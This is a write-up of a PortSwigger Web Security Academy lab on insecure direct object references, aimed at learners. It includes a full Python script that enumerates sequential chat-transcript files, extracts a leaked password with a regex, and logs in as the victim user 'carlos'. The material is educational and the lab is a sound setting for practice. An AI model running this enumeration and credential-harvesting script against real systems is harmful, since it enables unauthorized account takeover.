LearnAccess Control › Lab: Insecure direct object references

Lab: Insecure direct object references

PortSwigger Apprentice Access Control

Original lab: Lab: Insecure direct object references on PortSwigger ↗

Not every IDOR lives in a URL query parameter pointing at a database row. Static files — transcripts, exports, generated documents — are direct object references too, and they're easy to overlook precisely because they don't look like "the application"; they look like a file the server happens to be serving.

The Target

The site has a live chat feature. Sending a message and requesting a transcript returns a downloadable text file at a URL like /download-transcript/<N>.txt, where N is an incrementing number the server assigns per transcript.

The Exploit

Sequential, predictable filenames on a resource with no ownership check attached is exactly the IDOR pattern from the earlier labs, just applied to static files instead of dynamic pages. We didn't need to generate our own transcript first — if the numbering is global and incrementing, earlier, lower-numbered transcripts belong to other users (or the site's own seeded conversations) and should already exist on disk. We swept the low end of the range directly:

for i in range(1, 10):
    url = f"{base}/download-transcript/{i}.txt"
    resp = client.get(url)
    if _is_success(resp) and len(resp.text) > 10:
        ...
/download-transcript/1.txt    -- Increment file number
POST /download-transcript -> redirects to /download-transcript/N.txt  -- Server assigns sequential filenames
regex: password\s+is\s+(\S+)  -- Extract password from chat transcript

/download-transcript/1.txt returned a real transcript — a conversation containing a password in plain text. A regex matching password is <value> against the transcript body pulled the credential out directly.

Login and Solve

With the recovered password in hand, we authenticated as carlos (the account referenced in the leaked transcript) and confirmed the login succeeded, which solved the lab:

_login(client, base, "carlos", password)

Comparing Notes: PortSwigger's Official Solution

PortSwigger's solution starts from the live chat feature itself: send a message, view the resulting transcript, notice the URL pattern with an incrementing filename, change it down to 1.txt, find a password inside, and log in with the stolen credentials.

We took a shortcut relative to that path. Rather than sending a chat message first to learn the URL pattern from a transcript we generated ourselves, we already knew the endpoint shape — /download-transcript/<N>.txt — from the vulnerability class itself, and went straight to sweeping low numbers without ever using the live chat feature. Both approaches converge on the same 1.txt file and the same leaked password; the difference is that PortSwigger's walkthrough uses the chat feature to *discover* the URL pattern, while our script assumed the pattern and verified it by requesting the file directly. On a real target, discovering the pattern first (as the official solution does) would be the safer general approach — assuming a pattern only works when it's this predictable.

What This Teaches Us

A file server that hands out sequential filenames is leaking an enumerable index into every resource it's ever served, transcript-shaped or not. The access control failure here is identical in kind to the parameter-based IDORs earlier in this series — no check that the requester owns the resource being requested — but it's worth calling out separately because static file serving often sits outside the same code path (and the same security review) as the application's dynamic routes. Anywhere a server generates a resource with a predictable name and serves it without an ownership check, it's the same bug wearing a file extension.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
Insecure direct object references
PortSwigger Web Security Academy -- Access Control

Companion script for the writeup: 09-insecure-direct-object-references.md

What this does:
    Sweeps low-numbered /download-transcript/<N>.txt files directly, without
    generating a transcript first -- if the numbering is global and
    incrementing, low numbers belong to other users' (or the site's seeded)
    conversations and are already sitting on disk with no ownership check.
    Regex-matches "password is <value>" out of the first real transcript
    found, then logs in as carlos with the recovered password.

Usage:
    python 09-insecure-direct-object-references.py <lab-url>

Requirements:
    pip install httpx
"""

import re
import sys
import httpx


def get_csrf(html: str) -> str:
    m = re.search(r'name="csrf"\s+value="([^"]+)"', html)
    return m.group(1) if m else ""


def login(client: httpx.Client, base: str, username: str, password: str) -> httpx.Response:
    login_page = client.get(f"{base}/login")
    csrf = get_csrf(login_page.text)
    return client.post(f"{base}/login", data={"csrf": csrf, "username": username, "password": password})


def solve(lab_url: str) -> None:
    client = httpx.Client(follow_redirects=True, timeout=15)

    for i in range(1, 10):
        url = f"{lab_url}/download-transcript/{i}.txt"
        resp = client.get(url)
        if resp.status_code == 200 and len(resp.text) > 10:
            print(f"[+] Found transcript {i}: {resp.text[:200]}")

            pw_match = re.search(r'password\s+is\s+(\S+)', resp.text, re.IGNORECASE)
            if not pw_match:
                pw_match = re.search(r'password:\s*(\S+)', resp.text, re.IGNORECASE)

            if pw_match:
                password = pw_match.group(1).rstrip(".")
                print(f"[+] Found password: {password}")

                login(client, lab_url, "carlos", password)

                check = client.get(lab_url)
                if "Congratulations" in check.text:
                    print("[+] Lab solved -- logged in as carlos with the leaked transcript password.")
                    return
                else:
                    print("[-] Login with this password did not solve the lab, continuing sweep.")

    print("[-] Could not find a useful transcript in the swept range.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →